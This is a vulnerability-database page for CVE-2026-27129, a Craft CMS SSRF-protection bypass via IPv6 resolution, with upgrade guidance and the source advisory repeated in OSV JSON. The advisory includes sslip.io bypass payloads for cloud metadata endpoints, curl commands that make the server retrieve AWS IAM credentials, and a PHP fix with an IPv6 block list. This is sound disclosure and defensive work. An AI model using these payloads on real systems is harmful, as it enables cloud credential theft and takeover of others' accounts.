CVE-2026-27129: Craft CMS Cloud Metadata SSRF Protection Bypass Vulnerability

MODERATE
Advisory Identifier: GHSA-v2gc-rm6g-wrw9
CWE-918
Published
Advisory Summary

CVE-2026-27129 is a MODERATE cloud metadata ssrf protection bypass vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Craft CMS libraries in the Packagist ecosystem. The issue involves cloud metadata ssrf protection bypass via ipv6 resolution. Remediation is available by upgrading affected packages to version 5.8.23, 4.16.19.

CVE-2026-27129 at a Glance

CVE Identifier CVE-2026-27129
GHSA Identifier GHSA-v2gc-rm6g-wrw9
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Craft CMS
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-27129

To remediate this vulnerability, upgrade all affected Craft CMS dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/cms fixed: 5.8.23
Upgrade craftcms/cms to 5.8.23
craftcms/cms fixed: 4.16.19
Upgrade craftcms/cms to 4.16.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for craftcms/cms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27129, inspect your project dependencies for Craft CMS:

inspect dependencies for craftcms/cms

Analyze the terminal output to locate any version of Craft CMS in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.23), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Craft CMS, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection. This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)). ## Required Permissions Exploitation requires GraphQL schema permissions for: - Edit assets in the `<VolumeName>` volume - Create assets in the `<VolumeName>` volume These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions) --- ## Technical Details ### Root Cause From PHP documentation: *"gethostbyname - Get the IPv4 address corresponding to a given Internet host name"* When no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged. ### Bypass Mechanism ``` +-----------------------------------------------------------------------------+ | Step 1: Attacker provides URL | | http://fd00-ec2--254.sslip.io/latest/meta-data/ | +-----------------------------------------------------------------------------+ | Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io') | | -> No A record exists | | -> Returns: "fd00-ec2--254.sslip.io" (string, not an IP!) | +-----------------------------------------------------------------------------+ | Step 3: Blocklist check | | in_array("fd00-ec2--254.sslip.io", ['169.254.169.254', ...]) | | -> FALSE (string != IPv4 addresses) | | -> VALIDATION PASSES | +-----------------------------------------------------------------------------+ | Step 4: Guzzle makes HTTP request | | -> Resolves DNS (including AAAA records) | | -> Gets IPv6: fd00:ec2::254 | | -> Connects to AWS IMDS IPv6 endpoint | | -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+ ``` --- ## Bypass Payloads ### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents | Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload | |----------------|--------------|-----------------|----------------| | **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` | | **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` | | **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` | | **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A | | **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A | | **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A | ### Additional IPv6 Internal Service Bypass Payloads | Target | IPv6 Address | Bypass Payload | |--------|--------------|----------------| | **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` | | **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` | | **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` | | **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` | --- ## Steps to Reproduce ### Step 1: Verify DNS Resolution ```bash # Verify the hostname has no IPv4 record (what gethostbyname sees) $ dig fd00-ec2--254.sslip.io A +short # (empty - no IPv4 record) # Verify the hostname has IPv6 record (what Guzzle/curl uses) $ dig fd00-ec2--254.sslip.io AAAA +short fd00:ec2::254 ``` ### Step 2: Enumerate AWS IAM Role Name ```bash curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \ -d '{ "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\", filename: \"role.txt\" }) { id } }" }' ``` ### Step 3: Retrieve AWS Credentials ```bash # Replace ROLE_NAME with the role discovered in Step 2 curl -sk "https://TARGET/index.php?p=admin/actions/graphql/api" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer YOUR_GRAPHQL_TOKEN" \ -d '{ "query": "mutation { save_photos_Asset(_file: { url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\", filename: \"creds.json\" }) { id } }" }' ``` ### Step 4: Access Saved Credentials The credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`). --- ### Attack Scenario 1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled 2. Attacker sends mutation with `url: "http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/"` 3. Error message or saved file reveals IAM role name 4. Attacker retrieves credentials via second mutation 5. Attacker uses credentials to access AWS services 6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key** --- ## Remediation Replace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6: ```php // Resolve both IPv4 and IPv6 addresses $records = @dns_get_record($hostname, DNS_A | DNS_AAAA); if ($records === false) { $records = []; } // Blocked IPv6 metadata prefixes $blockedIPv6Prefixes = [ 'fd00:ec2::', // AWS IMDS, DNS, NTP 'fd20:ce::', // GCP Metadata '::1', // Loopback 'fe80:', // Link-local '::ffff:', // IPv4-mapped IPv6 ]; foreach ($records as $record) { // Check IPv4 (existing logic) if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) { return false; } // Check IPv6 (NEW) if (isset($record['ipv6'])) { foreach ($blockedIPv6Prefixes as $prefix) { if (str_starts_with($record['ipv6'], $prefix)) { return false; } } } } ``` ### Additional Mitigations | Mitigation | Description | |------------|-------------| | Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes | | Use `dns_get_record()` | Resolves both IPv4 and IPv6 | --- ## Resources - https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3 - [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - "Get the **IPv4 address** corresponding to a given Internet host name" - [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437) - [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html) - [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata) - [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)

CVE-2026-27129 Affected Craft CMS Versions

2 component(s)
Fixed Versions:
5.8.234.16.19
Product / Package Ecosystem Affected Versions Fixed Version
craftcms/cms
Packagist
≥ 5.0.0-RC1
< 5.8.23
5.8.23
craftcms/cms
Packagist
≥ 3.5.0
< 4.16.19
4.16.19

References

Frequently Asked Questions

What is CVE-2026-27129?
CVE-2026-27129 is a security vulnerability in Craft CMS involving Cloud Metadata SSRF Protection Bypass via IPv6 Resolution under CWE-918: Server-Side Request Forgery (SSRF).
Which Craft CMS versions are affected?
Affected versions include releases prior to 5.8.23, 4.16.19 across affected packages: craftcms/cms.
What version fixes CVE-2026-27129?
Upgrading to 5.8.23, 4.16.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is craftcms/cms affected?
Yes, craftcms/cms is affected in releases prior to 5.8.23, 4.16.19. Upgrade your dependency to 5.8.23, 4.16.19 or later.
What CWE is associated with CVE-2026-27129?
CVE-2026-27129 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-27129?
Run the dependency tree command: 'inspect dependencies for craftcms/cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v2gc-rm6g-wrw9",
  "modified" : "2026-02-24T15:51:07Z",
  "published" : "2026-02-24T15:51:07Z",
  "aliases" : [ "CVE-2026-27129" ],
  "summary" : "Craft CMS: Cloud Metadata SSRF Protection Bypass via IPv6 Resolution",
  "details" : "The SSRF validation in Craft CMS’s GraphQL Asset mutation uses `gethostbyname()`, which only resolves IPv4 addresses. When a hostname has only AAAA (IPv6) records, the function returns the hostname string itself, causing the blocklist comparison to always fail and completely bypassing SSRF protection.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)).\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `<VolumeName>` volume\n- Create assets in the `<VolumeName>` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Root Cause\n\nFrom PHP documentation: *\"gethostbyname - Get the IPv4 address corresponding to a given Internet host name\"*\n\nWhen no IPv4 (A record) exists, `gethostbyname()` returns the hostname string unchanged.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Step 1: Attacker provides URL                                               |\n|         http://fd00-ec2--254.sslip.io/latest/meta-data/                     |\n+-----------------------------------------------------------------------------+\n| Step 2: Validation calls gethostbyname('fd00-ec2--254.sslip.io')            |\n|         -> No A record exists                                               |\n|         -> Returns: \"fd00-ec2--254.sslip.io\" (string, not an IP!)           |\n+-----------------------------------------------------------------------------+\n| Step 3: Blocklist check                                                     |\n|         in_array(\"fd00-ec2--254.sslip.io\", ['169.254.169.254', ...])       |\n|         -> FALSE (string != IPv4 addresses)                                 |\n|         -> VALIDATION PASSES                                                |\n+-----------------------------------------------------------------------------+\n| Step 4: Guzzle makes HTTP request                                           |\n|         -> Resolves DNS (including AAAA records)                            |\n|         -> Gets IPv6: fd00:ec2::254                                         |\n|         -> Connects to AWS IMDS IPv6 endpoint                               |\n|         -> CREDENTIALS STOLEN                                               |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Bypass Payloads\n\n### Blocked IPv4 Addresses and Their IPv6 Bypass Equivalents\n\n| Cloud Provider | Blocked IPv4 | IPv6 Equivalent | Bypass Payload |\n|----------------|--------------|-----------------|----------------|\n| **AWS EC2 IMDS** | `169.254.169.254` | `fd00:ec2::254` | `http://fd00-ec2--254.sslip.io/` |\n| **AWS ECS** | `169.254.170.2` | `fd00:ec2::254` (via IMDS) | `http://fd00-ec2--254.sslip.io/` |\n| **Google Cloud GCP** | `169.254.169.254` | `fd20:ce::254` | `http://fd20-ce--254.sslip.io/` |\n| **Azure** | `169.254.169.254` | No IPv6 endpoint | N/A |\n| **Alibaba Cloud** | `100.100.100.200` | No documented IPv6 | N/A |\n| **Oracle Cloud** | `192.0.0.192` | No documented IPv6 | N/A |\n\n### Additional IPv6 Internal Service Bypass Payloads\n\n| Target | IPv6 Address | Bypass Payload |\n|--------|--------------|----------------|\n| **IPv6 Loopback** | `::1` | `http://0-0-0-0-0-0-0-1.sslip.io/` |\n| **AWS NTP Service** | `fd00:ec2::123` | `http://fd00-ec2--123.sslip.io/` |\n| **AWS DNS Service** | `fd00:ec2::253` | `http://fd00-ec2--253.sslip.io/` |\n| **IPv4-mapped IPv6** | `::ffff:169.254.169.254` | `http://0-0-0-0-0-0-ffff-a9fe-a9fe.sslip.io/` |\n\n---\n\n## Steps to Reproduce\n\n### Step 1: Verify DNS Resolution\n\n```bash\n# Verify the hostname has no IPv4 record (what gethostbyname sees)\n$ dig fd00-ec2--254.sslip.io A +short\n# (empty - no IPv4 record)\n\n# Verify the hostname has IPv6 record (what Guzzle/curl uses)\n$ dig fd00-ec2--254.sslip.io AAAA +short\nfd00:ec2::254\n```\n\n### Step 2: Enumerate AWS IAM Role Name\n\n```bash\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d '{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\\\", filename: \\\"role.txt\\\" }) { id } }\"\n  }'\n```\n\n### Step 3: Retrieve AWS Credentials\n\n```bash\n# Replace ROLE_NAME with the role discovered in Step 2\ncurl -sk \"https://TARGET/index.php?p=admin/actions/graphql/api\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer YOUR_GRAPHQL_TOKEN\" \\\n  -d '{\n    \"query\": \"mutation { save_photos_Asset(_file: { url: \\\"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/ROLE_NAME\\\", filename: \\\"creds.json\\\" }) { id } }\"\n  }'\n```\n\n### Step 4: Access Saved Credentials\n\nThe credentials will be saved to the asset volume (e.g., `/userphotos/photos/creds.json`).\n\n---\n\n### Attack Scenario\n\n1. Attacker finds Craft CMS instance with GraphQL asset mutations enabled\n2. Attacker sends mutation with `url: \"http://fd00-ec2--254.sslip.io/latest/meta-data/iam/security-credentials/\"`\n3. Error message or saved file reveals IAM role name\n4. Attacker retrieves credentials via second mutation\n5. Attacker uses credentials to access AWS services\n6. **Attacker can now achieve code execution by creating new EC2 instances with their SSH key**\n\n---\n\n## Remediation\n\nReplace `gethostbyname()` with `dns_get_record()` to check both IPv4 and IPv6:\n\n```php\n// Resolve both IPv4 and IPv6 addresses\n$records = @dns_get_record($hostname, DNS_A | DNS_AAAA);\nif ($records === false) {\n    $records = [];\n}\n\n// Blocked IPv6 metadata prefixes\n$blockedIPv6Prefixes = [\n    'fd00:ec2::',       // AWS IMDS, DNS, NTP\n    'fd20:ce::',        // GCP Metadata\n    '::1',              // Loopback\n    'fe80:',            // Link-local\n    '::ffff:',          // IPv4-mapped IPv6\n];\n\nforeach ($records as $record) {\n    // Check IPv4 (existing logic)\n    if (isset($record['ip']) && in_array($record['ip'], $blockedIPv4)) {\n        return false;\n    }\n\n    // Check IPv6 (NEW)\n    if (isset($record['ipv6'])) {\n        foreach ($blockedIPv6Prefixes as $prefix) {\n            if (str_starts_with($record['ipv6'], $prefix)) {\n                return false;\n            }\n        }\n    }\n}\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| Block wildcard DNS services | Block nip.io, sslip.io, xip.io suffixes |\n| Use `dns_get_record()` | Resolves both IPv4 and IPv6 |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3\n- [PHP: gethostbyname](https://www.php.net/manual/en/function.gethostbyname.php) - \"Get the **IPv4 address** corresponding to a given Internet host name\"\n- [GHSA-x27p-wfqw-hfcc](https://github.com/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [AWS IMDS IPv6 Documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html)\n- [GCP Metadata Server Documentation](https://cloud.google.com/compute/docs/metadata/querying-metadata)\n- [PayloadsAllTheThings - SSRF Cloud Instances](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances.md)",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.8.23"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.22"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.5.0"
      }, {
        "fixed" : "4.16.19"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.16.18"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-v2gc-rm6g-wrw9"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27129"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/2825388b4f32fb1c9bd709027a1a1fd192d709a3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-24T15:51:07Z",
    "nvd_published_at" : "2026-02-24T03:16:02Z"
  }
}